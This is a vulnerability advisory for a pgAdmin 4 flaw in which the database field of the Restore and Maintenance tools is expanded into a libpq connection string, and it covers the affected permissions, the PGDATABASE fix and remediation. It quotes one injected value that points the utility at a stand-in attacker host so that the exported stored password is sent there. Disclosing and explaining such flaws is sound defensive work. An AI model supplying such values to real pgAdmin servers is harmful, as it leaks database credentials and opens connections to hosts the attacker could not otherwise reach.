CVE-2026-86862: pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pgrestore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the toolsrestore or toolsmaintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pgrestore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pgAdmin 4to a version that resolves this vulnerability.Fixed in 9.18 - Configuration
Apply the fix so the target database is provided via the PGDATABASE environment variable (libpq treats it as a literal database name and does not expand it into a connection string).
pgAdmin 4 Restore/Maintenance tools PGDATABASE = set to the target database name - Compensating control
Restrict outbound network access from the pgAdmin host (where Restore/Maintenance tools run) to prevent redirected connections to arbitrary network addresses.
Event History
Frequently Asked Questions
Are users with the default pgAdmin role able to trigger this issue?
Yes. Any authenticated user with the tools_restore or tools_maintenance permission can reach the affected functionality, and both permissions are granted by the default User role.
What must an attacker be able to do to exploit it?
The attacker must be authenticated to pgAdmin and able to invoke the Restore or Maintenance tools. They can supply a database-field value containing connection-string keywords that directs the underlying utility to an endpoint they choose.
What is the practical impact of a successful exploit?
The attacker-selected endpoint may receive the decrypted stored database password because it is exported in the PGPASSWORD environment variable for the utility. The issue can also cause the pgAdmin host to initiate outbound connections to arbitrary network addresses, including addresses the attacker could not otherwise reach.